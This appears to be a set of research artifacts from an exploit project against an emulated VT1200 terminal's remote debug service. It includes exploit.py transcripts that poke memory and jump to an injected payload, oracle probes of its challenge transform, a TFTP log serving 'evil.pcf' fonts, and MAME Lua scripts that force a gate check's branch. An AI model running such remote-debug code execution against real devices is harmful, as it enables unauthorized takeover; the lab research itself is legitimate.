|
||||
|
||||
$ python3 dwt/exploit.py --host 192.168.99.2 --poke 0x3F200000 --hex 0000
|
||||
poke 0x3f200000 <- 00 00: ok
|
||||
$ python3 dwt/exploit.py --host 192.168.99.2 --peek 0x3F200000 --len 8
|
||||
peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55
|
||||
(unchanged: ROM writes are ignored by the memory map)
|
||||
|
||||
$ python3 dwt/exploit.py --host 192.168.99.2 \
|
||||
--poke-file 0x01800000 --file harness/hello-world/payload.bin
|
||||
poke-file harness/hello-world/payload.bin: 82 bytes at 0x01800000: ok
|
||||
$ python3 dwt/exploit.py --host 192.168.99.2 --jump 0x01800000 --jump-wait 0
|
||||
jump 0x01800000: no return within 0.0s (expected for a non-returning payload)
|
||||
|
||||
emulator side (dwt/evidence/run-live/mame.log):
|
||||
LIVE rdebug_poke entry pc=3F5A1B50
|
||||
LIVE rdebug_jump entry pc=3F5A3890
|
||||
LIVE payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
|
||||
LIVE payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
|
||||
|
||||
=> the stock loader delivers and runs our payload; gate B is the only thing
|
||||
between a remote attacker and this.
|
||||
|
||||
--- 4. Challenge transform oracle (chosen 8-byte replies) ---
|
||||
|
||||
dwt/evidence/run-live/render-probes.txt: deterministic, nonlinear, per-8-byte
|
||||
record. Samples:
|
||||
f(00*8) = 90 de 09 b4 72 85 58 17
|
||||
f(01 00 00 00 00 00 00 00) = b1 97 5f f1 d7 8d 03 2a
|
||||
f(ff 00 00 00 00 00 00 00) = fc 00 33 8c 74 4b 2d 1b
|
||||
Changing one input byte changes all eight output bytes.
|
||||
@@ -0,0 +1,11 @@
|
||||
zero in=00 00 00 00 00 00 00 00 out=90 de 09 b4 72 85 58 17
|
||||
p0_01 in=01 00 00 00 00 00 00 00 out=b1 97 5f f1 d7 8d 03 2a
|
||||
p0_02 in=02 00 00 00 00 00 00 00 out=58 65 80 0e 5d 8c 3c 55
|
||||
p0_03 in=03 00 00 00 00 00 00 00 out=ee 59 0d f0 3c 2b db dd
|
||||
p0_10 in=10 00 00 00 00 00 00 00 out=0b 9a b2 2e 40 0a 06 8f
|
||||
p0_20 in=20 00 00 00 00 00 00 00 out=36 2c f7 98 ec 8a e9 18
|
||||
p0_30 in=30 00 00 00 00 00 00 00 out=9e ca e2 e5 39 a1 63 57
|
||||
p0_80 in=80 00 00 00 00 00 00 00 out=57 d8 29 7c 38 f7 78 3b
|
||||
p0_ff in=ff 00 00 00 00 00 00 00 out=fc 00 33 8c 74 4b 2d 1b
|
||||
p1_01 in=00 01 00 00 00 00 00 00 out=21 10 5d ae d5 e1 3e c5
|
||||
p7_01 in=00 00 00 00 00 00 00 01 out=46 ba 79 8d 00 e1 0c db
|
||||
@@ -0,0 +1 @@
|
||||
007AE8D8: 02A2 C000 63A8 7E02 FEA2 10FF 0000 .....c.~......
|
||||
@@ -0,0 +1,130 @@
|
||||
007C7290: 8200 0080 0000 0000 8000 0000 8202 0080 ................
|
||||
007C7310: 8002 0080 8202 0000 0002 0000 8000 0000 ................
|
||||
007C7390: 0200 0000 8200 0080 8202 0080 0200 0000 ................
|
||||
007C7410: 0202 0080 8002 0080 0000 0080 0002 0000 ................
|
||||
007C7490: 0202 0000 0200 0080 0200 0080 8200 0000 ................
|
||||
007C7510: 8200 0000 8000 0080 8000 0080 0202 0080 ................
|
||||
007C7590: 8002 0000 0002 0080 0002 0080 8002 0000 ................
|
||||
007C7610: 0000 0000 0202 0000 8202 0000 0000 0080 ................
|
||||
007C7690: 8000 0000 8202 0080 0002 0000 8000 0080 ................
|
||||
007C7710: 8200 0080 0000 0080 0000 0080 0200 0000 ................
|
||||
007C7790: 8002 0080 8000 0000 8200 0000 0002 0080 ................
|
||||
007C7810: 0200 0000 0002 0000 0202 0080 8202 0000 ................
|
||||
007C7890: 8202 0080 8002 0000 8000 0080 0202 0080 ................
|
||||
007C7910: 0002 0080 0202 0000 8202 0000 8200 0080 ................
|
||||
007C7990: 0202 0000 0200 0080 0200 0080 0000 0000 ................
|
||||
007C7A10: 8002 0000 8200 0000 0000 0000 8002 0080 ................
|
||||
007C7A90: 4010 4008 4000 4000 4000 0000 4010 0008 .@.@.@.@.@...@..
|
||||
007C7B10: 0000 0008 0010 0000 0010 4008 4010 4000 ...........@.@.@
|
||||
007C7B90: 0010 4000 4010 4008 4000 4008 0000 4000 ...@.@.@.@.@...@
|
||||
007C7C10: 4000 4000 0000 0008 0010 0000 0010 4008 .@.@...........@
|
||||
007C7C90: 4000 0008 0010 0008 4010 4000 0000 0000 .@.......@.@....
|
||||
007C7D10: 0000 4000 4000 0000 4010 0008 0000 4008 ...@.@...@.....@
|
||||
007C7D90: 0010 0008 0010 4000 0000 0000 4000 0008 .......@.....@..
|
||||
007C7E10: 4010 0000 4000 4008 0000 4008 4010 0000 .@...@.@...@.@..
|
||||
007C7E90: 0000 0000 4010 0008 0010 4008 0000 0008 .....@.....@....
|
||||
007C7F10: 4010 4000 0000 4008 4000 4008 4000 0000 .@.@...@.@.@.@..
|
||||
007C7F90: 0000 4008 4000 4000 0010 0000 4010 4008 ...@.@.@.....@.@
|
||||
007C8010: 4010 0008 0010 0000 4000 0000 0000 4000 .@.......@.....@
|
||||
007C8090: 4010 0000 4000 4008 0000 0008 0010 4000 .@...@.@.......@
|
||||
007C8110: 0010 0008 4010 4000 0010 4000 0010 0008 .....@.@...@....
|
||||
007C8190: 4000 0008 0000 0000 4000 4000 4010 0000 .@.......@.@.@..
|
||||
007C8210: 0000 4000 0010 4008 4010 4008 4000 0008 ...@...@.@.@.@..
|
||||
007C8290: 0104 0000 0100 0401 0000 0000 0004 0401 ................
|
||||
007C8310: 0100 0400 0000 0000 0104 0001 0100 0400 ................
|
||||
007C8390: 0004 0001 0004 0400 0004 0400 0000 0001 ................
|
||||
007C8410: 0104 0401 0004 0001 0000 0401 0104 0000 ................
|
||||
007C8490: 0000 0400 0004 0000 0100 0401 0100 0000 ................
|
||||
007C8510: 0100 0001 0000 0401 0004 0401 0104 0001 ................
|
||||
007C8590: 0104 0400 0100 0001 0000 0001 0104 0400 ................
|
||||
007C8610: 0004 0000 0104 0401 0100 0000 0000 0400 ................
|
||||
007C8690: 0100 0401 0000 0400 0004 0001 0104 0000 ................
|
||||
007C8710: 0000 0001 0100 0401 0100 0400 0000 0000 ................
|
||||
007C8790: 0100 0000 0004 0001 0104 0401 0100 0400 ................
|
||||
007C8810: 0004 0400 0100 0000 0000 0000 0004 0401 ................
|
||||
007C8890: 0104 0400 0000 0001 0000 0400 0104 0401 ................
|
||||
007C8910: 0004 0000 0104 0001 0100 0001 0004 0400 ................
|
||||
007C8990: 0000 0401 0104 0400 0104 0000 0000 0401 ................
|
||||
007C8A10: 0104 0001 0004 0000 0004 0401 0100 0001 ................
|
||||
007C8A90: 1000 8040 1040 8000 1040 8000 0040 0000 ..@.@...@...@...
|
||||
007C8B10: 1040 0040 0040 8040 0000 8040 1000 8000 @.@.@.@...@.....
|
||||
007C8B90: 0000 0000 1000 0040 1000 0040 1040 8040 ......@...@.@.@.
|
||||
007C8C10: 0040 8000 0000 0000 0040 0040 0000 8040 @.......@.@...@.
|
||||
007C8C90: 0000 8000 1000 0000 0000 0040 1000 8040 ..........@...@.
|
||||
007C8D10: 0040 0000 0000 0040 1000 8000 1040 0000 @.....@.....@...
|
||||
007C8D90: 0040 8040 0000 8000 1040 0000 0040 0040 @.@.....@...@.@.
|
||||
007C8E10: 1000 0000 1040 0040 1040 8040 0040 8000 ....@.@.@.@.@...
|
||||
007C8E90: 0040 0040 0000 8040 1000 0040 1040 8040 @.@...@...@.@.@.
|
||||
007C8F10: 0040 8000 0000 0000 0000 0000 1000 0040 @.............@.
|
||||
007C8F90: 1040 0000 0040 0040 0040 8040 0000 8000 @...@.@.@.@.....
|
||||
007C9010: 1000 8040 1040 8000 1040 8000 0040 0000 ..@.@...@...@...
|
||||
007C9090: 1040 8040 0040 8000 0000 8000 1000 0000 @.@.@...........
|
||||
007C9110: 0000 8040 1000 8000 1040 0040 0040 8040 ..@.....@.@.@.@.
|
||||
007C9190: 1000 8000 1040 0000 0000 0040 1000 8040 ....@.....@...@.
|
||||
007C9210: 0040 0000 0000 0040 1000 0000 1040 0040 @.....@.....@.@.
|
||||
007C9290: 0080 0000 0080 0104 0000 0104 0080 2100 ...............!
|
||||
007C9310: 0000 0004 0080 0000 0000 2000 0000 0104 ........... ....
|
||||
007C9390: 0080 2004 0000 0004 0080 0100 0080 2004 ... ...........
|
||||
007C9410: 0080 2100 0000 2104 0080 0004 0000 2000 ...!...!.......
|
||||
007C9490: 0000 0100 0000 2004 0000 2004 0000 0000 ....... ... ....
|
||||
007C9510: 0080 2000 0080 2104 0080 2104 0080 0100 ... ...!...!....
|
||||
007C9590: 0000 2104 0080 2000 0000 0000 0000 2100 ...!... .......!
|
||||
007C9610: 0080 0104 0000 0100 0000 2100 0080 0004 ...........!....
|
||||
007C9690: 0000 0004 0080 2100 0080 0000 0000 0100 .......!........
|
||||
007C9710: 0000 2000 0000 0104 0080 2100 0080 2004 ... .......!...
|
||||
007C9790: 0080 0100 0000 2000 0000 2104 0080 0104 ....... ...!....
|
||||
007C9810: 0080 2004 0080 0000 0000 0100 0000 2104 ... ...........!
|
||||
007C9890: 0080 2104 0080 0004 0000 2100 0080 2104 ...!.......!...!
|
||||
007C9910: 0000 0104 0000 0000 0000 2004 0000 2100 ........... ...!
|
||||
007C9990: 0080 0004 0080 0100 0080 2000 0000 0004 ........... ....
|
||||
007C9A10: 0000 0000 0000 2004 0080 0104 0080 2000 ....... .......
|
||||
007C9A90: 0008 1000 0000 1020 2000 0000 2008 1020 ...... .. ... .
|
||||
007C9B10: 0000 1020 0008 0000 2008 1020 0000 0020 .. ...... ... .
|
||||
007C9B90: 2000 1000 2008 0020 0000 0020 0008 1000 . ... ... .....
|
||||
007C9C10: 0008 0020 2000 1000 0000 1000 2008 0000 .. .. ....... ..
|
||||
007C9C90: 0000 0000 0008 0020 2008 1000 2000 0000 ...... .. ... ..
|
||||
007C9D10: 2000 0020 2008 1000 0008 0000 0008 1020 . .. ........ .
|
||||
007C9D90: 0008 1020 0000 0000 2008 0020 2000 1020 .. ...... .. .
|
||||
007C9E10: 2008 0000 2000 0020 2000 1020 0000 1000 . ... .. .....
|
||||
007C9E90: 2000 1000 0008 0000 0008 1020 2000 0020 . ........ .. .
|
||||
007C9F10: 2008 1020 0000 0020 2008 0000 0008 1000 . ... .. ......
|
||||
007C9F90: 0000 0020 2000 1000 0000 1000 2008 0000 .. .. ....... ..
|
||||
007CA010: 0008 1000 2008 1020 2000 0020 0000 1020 ..... .. ... .
|
||||
007CA090: 2008 0020 2000 1020 0000 0000 0008 1020 . .. ....... .
|
||||
007CA110: 0008 0000 2000 0000 0000 1020 2008 0020 ..... .... .. .
|
||||
007CA190: 2000 0000 0008 0020 2008 1000 0000 0000 . .... .. ......
|
||||
007CA210: 2000 1020 0000 1000 0008 0020 2008 1000 . ....... .. ..
|
||||
007CA290: 0000 0010 0001 0210 0401 0200 0000 0000 ................
|
||||
007CA310: 0400 0000 0401 0200 0401 0010 0400 0210 ................
|
||||
007CA390: 0401 0210 0000 0010 0000 0000 0001 0200 ................
|
||||
007CA410: 0001 0000 0000 0200 0001 0210 0401 0000 ................
|
||||
007CA490: 0400 0200 0401 0010 0001 0010 0400 0200 ................
|
||||
007CA510: 0001 0200 0000 0210 0400 0210 0001 0010 ................
|
||||
007CA590: 0000 0210 0400 0000 0401 0000 0401 0210 ................
|
||||
007CA610: 0400 0010 0001 0000 0000 0200 0400 0010 ................
|
||||
007CA690: 0000 0200 0400 0010 0000 0010 0401 0200 ................
|
||||
007CA710: 0401 0200 0001 0210 0001 0210 0001 0000 ................
|
||||
007CA790: 0001 0010 0000 0200 0400 0200 0000 0010 ................
|
||||
007CA810: 0400 0210 0401 0000 0401 0010 0400 0210 ................
|
||||
007CA890: 0401 0000 0001 0200 0401 0210 0000 0210 ................
|
||||
007CA910: 0400 0010 0000 0000 0001 0000 0401 0210 ................
|
||||
007CA990: 0000 0000 0401 0010 0000 0210 0400 0000 ................
|
||||
007CAA10: 0001 0200 0400 0200 0400 0000 0001 0010 ................
|
||||
007CAA90: 0820 0800 0800 0000 0000 0002 0820 0802 ........... ...
|
||||
007CAB10: 0000 0800 0820 0800 0020 0000 0000 0800 .... ... .......
|
||||
007CAB90: 0020 0002 0000 0802 0820 0802 0800 0002 ....... .......
|
||||
007CAC10: 0800 0802 0820 0002 0800 0000 0020 0000 .... ....... ...
|
||||
007CAC90: 0000 0802 0020 0800 0800 0800 0820 0000 .... ....... ...
|
||||
007CAD10: 0800 0002 0020 0002 0020 0802 0800 0802 .... ... .......
|
||||
007CAD90: 0820 0000 0000 0000 0000 0000 0020 0802 ........... ...
|
||||
007CAE10: 0020 0800 0800 0800 0820 0002 0000 0002 ....... .......
|
||||
007CAE90: 0820 0002 0000 0002 0800 0802 0800 0000 ...............
|
||||
007CAF10: 0020 0000 0020 0802 0800 0000 0820 0002 ... ....... ...
|
||||
007CAF90: 0800 0800 0020 0000 0020 0800 0000 0802 .... ... .......
|
||||
007CB010: 0020 0802 0000 0800 0000 0002 0820 0800 ........... ...
|
||||
007CB090: 0000 0000 0820 0802 0020 0002 0020 0800 .... ... ... ...
|
||||
007CB110: 0000 0802 0800 0800 0820 0800 0000 0000 ........ .......
|
||||
007CB190: 0820 0802 0800 0002 0800 0002 0820 0000 ........... ...
|
||||
007CB210: 0820 0000 0020 0002 0000 0800 0800 0802 ... ...........
|
||||
007CB290: 0440 0000 B6D0 007C 3E2C 021F 3001 0D08 @.....|.,>...0..
|
||||
007CB310: 232D 1F28 -#(.
|
||||
@@ -0,0 +1,10 @@
|
||||
serving 29 names on ('192.168.99.1', 69)
|
||||
names: 69, 69/baseline.pcf, 69/evil.pcf, 69/fonts.dir, 69/v1200a.pcf, ROM, X11/baseline.pcf, X11/evil.pcf, X11/fonts.dir, X11/v1200a.pcf, baseline.pcf, evil.pcf, font, font/baseline.pcf, font/evil.pcf, font/fonts.dir, font/v1200a.pcf, fonts, fonts.dir, fonts/baseline.pcf, fonts/evil.pcf, fonts/fonts.dir, fonts/v1200a.pcf, misc/baseline.pcf, misc/evil.pcf, misc/fonts.dir, misc/v1200a.pcf, real.pcf, rom
|
||||
bootp: L2 responder on tap-mess-1000-0: handing out 192.168.99.2, siaddr 192.168.99.1 (src mac c6:fc:cc:16:f5:66)
|
||||
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
|
||||
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
|
||||
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
|
||||
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
|
||||
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
|
||||
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
|
||||
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
|
||||
@@ -0,0 +1,34 @@
|
||||
Warning: -video none doesn't make much sense without -seconds_to_run
|
||||
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
|
||||
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
|
||||
vt1200: scanline#1 line=1 enabled=1
|
||||
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
|
||||
PTRS frame1 @1C0200=00000000 @1C0220=00000000 @1C0240=00000000 @1C0260=00000000
|
||||
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
|
||||
vt1200: scanline#2 line=0 enabled=1
|
||||
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
|
||||
vt1200: scanline#3 line=1 enabled=1
|
||||
vt1200: scanline#4 line=2 enabled=1
|
||||
--- 0x1BE800 @bit 0x1BE800 (byte 0x37D00)
|
||||
00 00 55 F8 61 C7 E5 13 11 D4 C8 00 00 00 00 00
|
||||
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
00 00 00 00 00 00 00 00 3A 32 2A 22 1A 12 0A 02
|
||||
3C 34 2C 24 1C 14 0C 04 3E 36 2E 26 1E 16 0E 06
|
||||
40 38 30 28 20 18 10 08 39 31 29 21 19 11 09 01
|
||||
3B 33 2B 23 1B 13 0B 03 3D 35 2D 25 1D 15 0D 05
|
||||
3F 37 2F 27 1F 17 0F 07 28 08 30 10 38 18 40 20
|
||||
27 07 2F 0F 37 17 3F 1F 26 06 2E 0E 36 16 3E 1E
|
||||
25 05 2D 0D 35 15 3D 1D 24 04 2C 0C 34 14 3C 1C
|
||||
23 03 2B 0B 33 13 3B 1B 22 02 2A 0A 32 12 3A 1A
|
||||
21 01 29 09 31 11 39 19 39 31 29 21 19 11 09 01
|
||||
3A 32 2A 22 1A 12 0A 02 3B 33 2B 23 1B 13 0B 03
|
||||
3C 34 2C 24 3F 37 2F 27 1F 17 0F 07 3E 36 2E 26
|
||||
1E 16 0E 06 3D 35 2D 25 1D 15 0D 05 1C 14 0C 04
|
||||
01 02 04 06 08 0A 0C 0E 0F 11 13 15 17 19 1B 1C
|
||||
0E 11 0B 18 01 05 03 1C 0F 06 15 0A 17 13 0C 04
|
||||
1A 08 10 07 1B 14 0D 02 29 34 1F 25 2F 37 1E 28
|
||||
33 2D 21 30 2C 31 27 38 22 35 2E 2A 32 24 1D 20
|
||||
0E 04 0D 01 02 0F 0B 08 03 0A 06 0C 05 09 00 07
|
||||
00 0F 07 04 0E 02 0D 01 0A 06 0C 0B 09 05 03 08
|
||||
PTRS frame3000 @1C0200=00000000 @1C0220=00000000 @1C0240=00000000 @1C0260=00000000
|
||||
Average speed: 371.95% (41 seconds)
|
||||
@@ -0,0 +1,34 @@
|
||||
-- dump_static.lua -- dump the 128-byte block at bit 0x1BE810 (the source the
|
||||
-- challenge expands) and the table pointers, at frame 3000.
|
||||
local machine = manager.machine
|
||||
local cpu = machine.devices[':maincpu']
|
||||
local dbg = machine.debugger
|
||||
local space = cpu.spaces['program']
|
||||
if not dbg then machine:exit(); return end
|
||||
dbg.visible_cpu = cpu
|
||||
local f = 0
|
||||
local function dump(label, bit, n)
|
||||
local t = {}
|
||||
print(string.format("--- %s @bit 0x%X (byte 0x%X)", label, bit, bit >> 3))
|
||||
for i = 0, n - 1 do
|
||||
t[#t + 1] = string.format("%02X", space:read_u8(bit + i * 8))
|
||||
if (#t == 16) then print(table.concat(t, " ")); t = {} end
|
||||
end
|
||||
if #t > 0 then print(table.concat(t, " ")) end
|
||||
end
|
||||
emu.register_frame_done(function()
|
||||
f = f + 1
|
||||
if f == 1 then
|
||||
print(string.format("PTRS frame1 @1C0200=%08X @1C0220=%08X @1C0240=%08X @1C0260=%08X",
|
||||
space:read_u32(0x1c0200), space:read_u32(0x1c0220),
|
||||
space:read_u32(0x1c0240), space:read_u32(0x1c0260)))
|
||||
end
|
||||
if f == 3000 then
|
||||
dump("0x1BE800", 0x1be800, 320)
|
||||
print(string.format("PTRS frame3000 @1C0200=%08X @1C0220=%08X @1C0240=%08X @1C0260=%08X",
|
||||
space:read_u32(0x1c0200), space:read_u32(0x1c0220),
|
||||
space:read_u32(0x1c0240), space:read_u32(0x1c0260)))
|
||||
machine:exit()
|
||||
end
|
||||
end, "dump-static")
|
||||
dbg.execution_state = 'run'
|
||||
@@ -0,0 +1,62 @@
|
||||
-- gate_branch.lua -- does the *real* gate code take the accept branch?
|
||||
--
|
||||
-- The static note read the gate as "u16 at 0xAECD2, reject when non-zero".
|
||||
-- The listing actually does SETF 2 (a 2-BIT field) then MOVE @0xAECD2, so the
|
||||
-- compared value is bits 2..3 of the word at 0xAECD0. This script samples that
|
||||
-- field, then at frame 1000 arms a breakpoint on the instruction the CPU is
|
||||
-- currently executing and uses its action to set PC to the gate sequence
|
||||
-- (0x3F58B280 = SETF 2 / MOVE @0xAECD2,A7 / JREQ). Breakpoints at both
|
||||
-- targets tell us which way the firmware's own compare goes.
|
||||
--
|
||||
-- `go <addr>` cannot be used: MAME's go() sets a *stop* address, not the PC.
|
||||
-- Breakpoints must be armed from a frame callback; debugger printf needs
|
||||
-- -debuglog.
|
||||
local machine = manager.machine
|
||||
local cpu = machine.devices[':maincpu']
|
||||
local dbg = machine.debugger
|
||||
local space = cpu.spaces['program']
|
||||
if not dbg then machine:exit(); return end
|
||||
dbg.visible_cpu = cpu
|
||||
|
||||
local samples = { [0]=true, [1]=true, [10]=true, [50]=true, [100]=true, [200]=true,
|
||||
[300]=true, [600]=true, [1000]=true, [3000]=true }
|
||||
local f = 0
|
||||
local armed = false
|
||||
local jumped = false
|
||||
|
||||
local function field()
|
||||
local w = space:read_u16(0xaecd0)
|
||||
return (w >> 2) & 3, w
|
||||
end
|
||||
|
||||
emu.register_frame_done(function()
|
||||
f = f + 1
|
||||
if f == 1 and not armed then
|
||||
armed = true
|
||||
dbg:command('bpset 3F58B2D0,,{ printf "GATE-TARGET REJECT pc=%08X a7=%08X\\n", pc, a7 ; g }')
|
||||
dbg:command('bpset 3F58B430,,{ printf "GATE-TARGET ACCEPT pc=%08X a7=%08X\\n", pc, a7 ; g }')
|
||||
print("armed gate-target breakpoints at frame 1")
|
||||
end
|
||||
if samples[f] then
|
||||
local v, w = field()
|
||||
print(string.format("SAMPLE frame %5d word@0xAECD0=%04X field(bits2..3)=%d", f, w, v))
|
||||
end
|
||||
if f == 1000 and not jumped then
|
||||
jumped = true
|
||||
local pc = cpu.state['PC'].value
|
||||
local bytes = {}
|
||||
for i = 0, 15 do
|
||||
bytes[#bytes+1] = string.format("%02X", space:read_u8(0xaec80 + i * 8))
|
||||
end
|
||||
print("BYTES @bit 0xAEC80 (byte 0x" .. string.format("%X", 0xaec80 >> 3) .. "): " ..
|
||||
table.concat(bytes, " "))
|
||||
print(string.format("ARM redirect at current pc=%08X -> 3F58B280", pc))
|
||||
dbg:command(string.format(
|
||||
'bpset %08X,,{ printf "REDIRECT from %%08X\\n", pc ; pc = 3F58B280 ; g }', pc))
|
||||
end
|
||||
if f >= 1100 then
|
||||
print("--- timed out without hitting a gate target")
|
||||
machine:exit()
|
||||
end
|
||||
end, "gate-branch")
|
||||
dbg.execution_state = 'run'
|
||||
@@ -0,0 +1,102 @@
|
||||
-- gate_probe.lua -- Phase 1 of the rdebug exploit attempt.
|
||||
--
|
||||
-- * sample the two 16-bit config words at bit 0xAECD0 / 0xAECD2 across boot
|
||||
-- * catch every write to that region (who writes 0x8070, and when)
|
||||
-- * log the store instructions and the config-object pointers statically found
|
||||
--
|
||||
-- Diagnostic only: reads memory. Does not write anything.
|
||||
--
|
||||
-- Breakpoints/watchpoints are armed from the frame-1 callback, not at script
|
||||
-- load: commands issued before dbg.execution_state='run' do not fire. Debugger
|
||||
-- printf output requires -debuglog (it goes to ./debug.log, not stdout).
|
||||
--
|
||||
-- <mame> vt1200 -rompath <abs>/harness/mame/roms -video none -sound none \
|
||||
-- -nothrottle -debug -debugger none -debuglog -nvram_directory <abs>/nvram \
|
||||
-- -autoboot_script <abs>/gate_probe.lua -autoboot_delay 0
|
||||
|
||||
local machine = manager.machine
|
||||
local cpu = machine.devices[':maincpu']
|
||||
local dbg = machine.debugger
|
||||
local space = cpu.spaces['program']
|
||||
|
||||
if not dbg then
|
||||
print("GATE ERROR: debugger not enabled; pass -debug")
|
||||
machine:exit()
|
||||
return
|
||||
end
|
||||
dbg.visible_cpu = cpu
|
||||
|
||||
local function u16(a) return space:read_u16(a) end
|
||||
local function u32(a) return space:read_u32(a) end
|
||||
local function u8(a) return space:read_u8(a) end
|
||||
|
||||
local function str_at(bitptr, max)
|
||||
local out = {}
|
||||
for i = 0, (max or 96) - 1 do
|
||||
local c = u8(bitptr + i * 8)
|
||||
if c == 0 then break end
|
||||
if c >= 32 and c < 127 then out[#out + 1] = string.char(c)
|
||||
else out[#out + 1] = string.format("\\x%02X", c) end
|
||||
end
|
||||
return table.concat(out)
|
||||
end
|
||||
|
||||
local samples = { [0]=true, [1]=true, [10]=true, [50]=true, [100]=true, [200]=true,
|
||||
[600]=true, [1000]=true, [2000]=true, [3000]=true, [4000]=true, [5000]=true }
|
||||
local frames = 0
|
||||
local armed = false
|
||||
|
||||
local function arm()
|
||||
-- Every write into the 8 bytes around the two words. wpset works in the
|
||||
-- program space's address unit = 1 bit, so length 0x40 covers 8 bytes.
|
||||
dbg:command('wpset 0xaecc0,0x40,w,,{ printf "WP cfg bit=%08X data=%04X pc=%08X\\n", wpaddr, wpdata, pc ; g }')
|
||||
local stores = {
|
||||
{ 0x3F329F00, "STORE aecd0" },
|
||||
{ 0x3F32A050, "STORE aecd2" },
|
||||
{ 0x3F32A1A0, "STORE aed51" },
|
||||
{ 0x3F32A2F0, "STORE aed52" },
|
||||
{ 0x3F32A440, "STORE aed53" },
|
||||
{ 0x3F32A590, "STORE aed54" },
|
||||
}
|
||||
for _, s in ipairs(stores) do
|
||||
dbg:command(string.format(
|
||||
'bpset %08X,,{ printf "%s pc=%%08X a7=%%08X a11=%%08X a8=%%08X a13=%%08X\\n", pc, a7, a11, a8, a13 ; g }',
|
||||
s[1], s[2]))
|
||||
end
|
||||
end
|
||||
|
||||
local function dump_items()
|
||||
print("--- config item cells (values as the boot config code reads them)")
|
||||
local slots = { 0x155830, 0x1565b0, 0x156c70, 0x157330, 0x1579f0,
|
||||
0x1580b0, 0x152230, 0x1514b0, 0x11a4b0 }
|
||||
for _, a in ipairs(slots) do
|
||||
print(string.format(" @0x%06X = 0x%08X", a, u32(a)))
|
||||
end
|
||||
local t = {}
|
||||
for i = 0, 15 do t[#t + 1] = string.format("%02X", u8(0xaec80 + i * 8)) end
|
||||
print("--- bytes @bit 0xAEC80: " .. table.concat(t, " "))
|
||||
print(string.format("--- word @0xAECD0 = 0x%04X, 2-bit fields: [0]=%d [1]=%d [2]=%d [3]=%d",
|
||||
u16(0xaecd0), (u16(0xaecd0) >> 0) & 3, (u16(0xaecd0) >> 2) & 3,
|
||||
(u16(0xaecd0) >> 4) & 3, (u16(0xaecd0) >> 6) & 3))
|
||||
end
|
||||
|
||||
emu.register_frame_done(function()
|
||||
frames = frames + 1
|
||||
if frames == 1 and not armed then
|
||||
armed = true
|
||||
arm()
|
||||
end
|
||||
if samples[frames] then
|
||||
print(string.format("SAMPLE frame %5d @0xAECD0=%04X @0xAECD2=%04X pc=%08X",
|
||||
frames, u16(0xaecd0), u16(0xaecd2), cpu.state['PC'].value))
|
||||
end
|
||||
if frames == 3000 then
|
||||
dump_items()
|
||||
end
|
||||
if frames >= tonumber(os.getenv("PROBE_END") or "5000") then
|
||||
print(string.format("--- done at frame %d", frames))
|
||||
machine:exit()
|
||||
end
|
||||
end, "vt1200-gate-probe")
|
||||
|
||||
dbg.execution_state = 'run'
|
||||
@@ -0,0 +1,78 @@
|
||||
-- live_probe.lua -- emulator-side evidence for the rdebug TCP attempt.
|
||||
--
|
||||
-- Armed from the frame-1 callback (commands before execution do not fire).
|
||||
-- Prints to ./debug.log because the harness is started with -debuglog.
|
||||
-- `dump` writes the exact memory the firmware works on.
|
||||
local machine = manager.machine
|
||||
local cpu = machine.devices[':maincpu']
|
||||
local dbg = machine.debugger
|
||||
local space = cpu.spaces['program']
|
||||
if not dbg then machine:exit(); return end
|
||||
dbg.visible_cpu = cpu
|
||||
|
||||
local D = "/home/arti/code/k-space/vt1200/dwt/evidence/run-live"
|
||||
local MAGIC1 = 0x01810000
|
||||
local MAGIC2 = 0x01810010
|
||||
local COUNT = 0x01810020
|
||||
local VRAM = 0x04019040
|
||||
local f = 0
|
||||
local armed = false
|
||||
local done_at = nil
|
||||
|
||||
local function report_magic(tag)
|
||||
print(string.format("LIVE %s: MAGIC1=%04X MAGIC2=%04X COUNT=%04X",
|
||||
tag, space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT)))
|
||||
local filled, holes = 0, 0
|
||||
for r = 0, 63 do
|
||||
for c = 0, 15 do
|
||||
if space:read_u16(VRAM + r * 1024 + c * 16) == 0xFFFF then
|
||||
filled = filled + 1
|
||||
else
|
||||
holes = holes + 1
|
||||
end
|
||||
end
|
||||
end
|
||||
print(string.format("LIVE %s: VRAM block %d/1024 words FFFF, %d holes", tag, filled, holes))
|
||||
end
|
||||
|
||||
emu.register_frame_done(function()
|
||||
f = f + 1
|
||||
if f == 1 and not armed then
|
||||
armed = true
|
||||
dbg:command('bpset 3F58AD60,,{ printf "LIVE accept_debug_conn entry pc=%08X\\n", pc ; g }')
|
||||
dbg:command('bpset 3F59F320,,{ printf "LIVE dispatcher entry pc=%08X\\n", pc ; g }')
|
||||
dbg:command('bpset 3F59FDC0,,{ printf "LIVE dwt_prf challenge entry pc=%08X\\n", pc ; g }')
|
||||
dbg:command('bpset 3F5A0200,,{ printf "LIVE challenge sent a13=%08X\\n", a13 ; dump ' .. D .. '/chal_sent.bin,a13,64 ; g }')
|
||||
-- transform called with the reply buffer (a13+16 bytes = +128 bits)
|
||||
dbg:command('bpset 3F5A0740,,{ printf "LIVE pre-transform a13=%08X reply=%08X\\n", a13, d@(a13+128) ; dump ' .. D .. '/reply_in.bin,a13+128,64 ; g }')
|
||||
